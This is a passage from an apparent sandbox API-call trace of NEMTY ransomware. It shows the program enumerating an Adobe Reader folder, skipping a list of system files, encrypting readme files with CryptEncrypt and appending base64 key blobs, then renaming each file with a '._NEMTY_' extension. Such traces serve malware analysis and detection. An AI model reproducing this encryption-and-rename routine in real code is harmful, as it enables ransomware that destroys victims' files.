pcchString=0x653ef9c | out: pszString="NBFjNyWXdOu/MhCXuWkgGJ6QS6CJHZ+idLu0koadLVZwkiCnUvKYsYSeJE/LzVVC\r\nsAy+lEDTlnjZnoZR0qbk+HNUdOZnkr3kn1fVarO6WPoSLIu2HmctBHbnlG1L6kQV\r\n5NEKWRjgfyAULFB+abW5s+Z/Vsyn08tkNNdX4kb5g6wz2Yeigevjsb9Kp0c0Rtea\r\nMvtaf+W8XgSqvJv2znpWeaSDminziF0rFhbg14nYq+ZlGXN2JSR+G7HCJHSFOrTG\r\naEVSwHk0zfKAEBEZVrq03nRzVY1CqR8B3qzTOwl5Z+n7v6stPDRMfWxfq+c3PviB\r\n+Bj9h2QedDNRyoLdVXGIAQ==\r\n", pcchString=0x653ef9c) returned 1 [0170.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.054] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94178 [0170.054] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.054] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0170.055] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17078) returned 1 [0170.055] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x42b0) returned 0x6351c48 [0170.055] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.055] ReadFile (in: hFile=0x1e8, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x42b0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesRead=0x653f1e4*=0x42b0, lpOverlapped=0x0) returned 1 [0170.059] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.059] WriteFile (in: hFile=0x1e8, lpBuffer=0x6351c48*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesWritten=0x653f1dc*=0x42b0, lpOverlapped=0x0) returned 1 [0170.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0170.100] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17078, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x42b6 [0170.100] WriteFile (in: hFile=0x1e8, lpBuffer=0x4f94178*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f94178*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0170.100] CloseHandle (hObject=0x1e8) returned 1 [0170.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e8 [0170.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94360 [0170.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0170.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0170.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.101] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm._nemty_kgobjgd_")) returned 1 [0170.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0170.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0170.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0170.102] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43c7, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Lisezmoi.htm", cAlternateFileName="")) returned 1 [0170.102] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2=".") returned 1 [0170.102] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="..") returned 1 [0170.102] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="...") returned 1 [0170.102] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="windows") returned -1 [0170.102] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="$RECYCLE.BIN") returned 1 [0170.102] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="rsa") returned -1 [0170.102] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="NTDETECT.COM") returned -1 [0170.102] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="ntldr") returned -1 [0170.102] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="MSDOS.SYS") returned -1 [0170.102] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="IO.SYS") returned 1 [0170.103] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="boot.ini") returned 1 [0170.103] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="boot.ini") returned 1 [0170.103] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="AUTOEXEC.BAT") returned 1 [0170.103] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="ntuser.dat") returned -1 [0170.103] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="desktop.ini") returned 1 [0170.103] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="CONFIG.SYS") returned 1 [0170.103] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="RECYCLER") returned -1 [0170.103] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="BOOTSECT.BAK") returned 1 [0170.103] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="bootmgr") returned 1 [0170.103] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="programdata") returned -1 [0170.103] lstrcmpiW (lpString1="Lisezmoi.htm", lpString2="appdata") returned 1 [0170.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lisezmoi.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lisezmoi.htm", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lisezmoi.htm", lpUsedDefaultChar=0x0) returned 12 [0170.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lisezmoi.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lisezmoi.htm", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lisezmoi.htm", lpUsedDefaultChar=0x0) returned 12 [0170.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lisezmoi.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lisezmoi.htm", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lisezmoi.htm", lpUsedDefaultChar=0x0) returned 12 [0170.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lisezmoi.htm", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0170.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Lisezmoi.htm", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Lisezmoi.htm", lpUsedDefaultChar=0x0) returned 12 [0170.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0170.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0170.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0170.103] Sleep (dwMilliseconds=0x5) [0170.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x190b3710, dwHighDateTime=0x1d561e8)) [0170.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x190b3710, dwHighDateTime=0x1d561e8)) [0170.116] GetLastError () returned 0x0 [0170.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.116] GetLastError () returned 0x0 [0170.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.116] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0170.116] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0170.116] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0170.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94178 [0170.116] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94178, pcchString=0x653ef9c | out: pszString="G+mGUpvSRkKTfcXleE/arO2PU+SoyqxKxLVYtQSZtkWJtG1QthhUbiodhX5H9CcY\r\nlBSJQMnIVuAsMQO27FhuXMnJi88EC49GImA60ITIQVyDMc5T303Olf2ODjtEhTm9\r\nvXPFEuhl7z9fT02NQuHDeu9/s6eh+cKQ4HwuzWQ0M0M8wR5cTC8BLiFFX0Ffchh7\r\n5nyh71jcCCXf/O1ocHKgsPJvcpK+dzqvSF4cdfjrNeyzafzm+GNwI3QtHFPOqTXC\r\nWdFiKTzUDo7IPGKCL5Xy8PUOIQc4lcjz1AsxO1pcJ+Q9+FpTsgEmMjYYgz5E2/Tn\r\nJX9PhjIm8g/hHbSTOXhuvA==\r\n", pcchString=0x653ef9c) returned 1 [0170.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.116] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94178 [0170.116] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.116] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0170.117] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17351) returned 1 [0170.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x43c0) returned 0x6351c48 [0170.117] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.117] ReadFile (in: hFile=0x1e8, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x43c0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesRead=0x653f1e4*=0x43c0, lpOverlapped=0x0) returned 1 [0170.120] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.120] WriteFile (in: hFile=0x1e8, lpBuffer=0x6351c48*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesWritten=0x653f1dc*=0x43c0, lpOverlapped=0x0) returned 1 [0170.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0170.120] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43c7 [0170.120] WriteFile (in: hFile=0x1e8, lpBuffer=0x4f94178*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f94178*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0170.120] CloseHandle (hObject=0x1e8) returned 1 [0170.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942e8 [0170.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.121] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94360 [0170.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0170.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94360 | out: hHeap=0x4f90000) returned 1 [0170.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.121] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Lisezmoi.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lisezmoi.htm._nemty_kgobjgd_")) returned 1 [0170.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0170.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0170.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0170.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0170.122] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41fc, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Llegiu-me.htm", cAlternateFileName="LLEGIU~1.HTM")) returned 1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2=".") returned 1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="..") returned 1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="...") returned 1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="windows") returned -1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="$RECYCLE.BIN") returned 1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="rsa") returned -1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="NTDETECT.COM") returned -1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="ntldr") returned -1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="MSDOS.SYS") returned -1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="IO.SYS") returned 1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="boot.ini") returned 1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="boot.ini") returned 1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="AUTOEXEC.BAT") returned 1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="ntuser.dat") returned -1 [0170.122] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="desktop.ini") returned 1 [0170.123] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="CONFIG.SYS") returned 1 [0170.123] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="RECYCLER") returned -1 [0170.123] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="BOOTSECT.BAK") returned 1 [0170.123] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="bootmgr") returned 1 [0170.123] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="programdata") returned -1 [0170.123] lstrcmpiW (lpString1="Llegiu-me.htm", lpString2="appdata") returned 1 [0170.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Llegiu-me.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0170.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Llegiu-me.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Llegiu-me.htm", lpUsedDefaultChar=0x0) returned 13 [0170.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Llegiu-me.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0170.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Llegiu-me.htm", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Llegiu-me.htm", lpUsedDefaultChar=0x0) returned 13 [0170.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Llegiu-me.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0170.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Llegiu-me.htm", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Llegiu-me.htm", lpUsedDefaultChar=0x0) returned 13 [0170.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Llegiu-me.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0170.123] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Llegiu-me.htm", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Llegiu-me.htm", lpUsedDefaultChar=0x0) returned 13 [0170.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0170.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0170.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0170.123] Sleep (dwMilliseconds=0x5) [0170.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x190d9870, dwHighDateTime=0x1d561e8)) [0170.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0x190d9870, dwHighDateTime=0x1d561e8)) [0170.131] GetLastError () returned 0x0 [0170.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.131] GetLastError () returned 0x0 [0170.131] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.131] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.132] 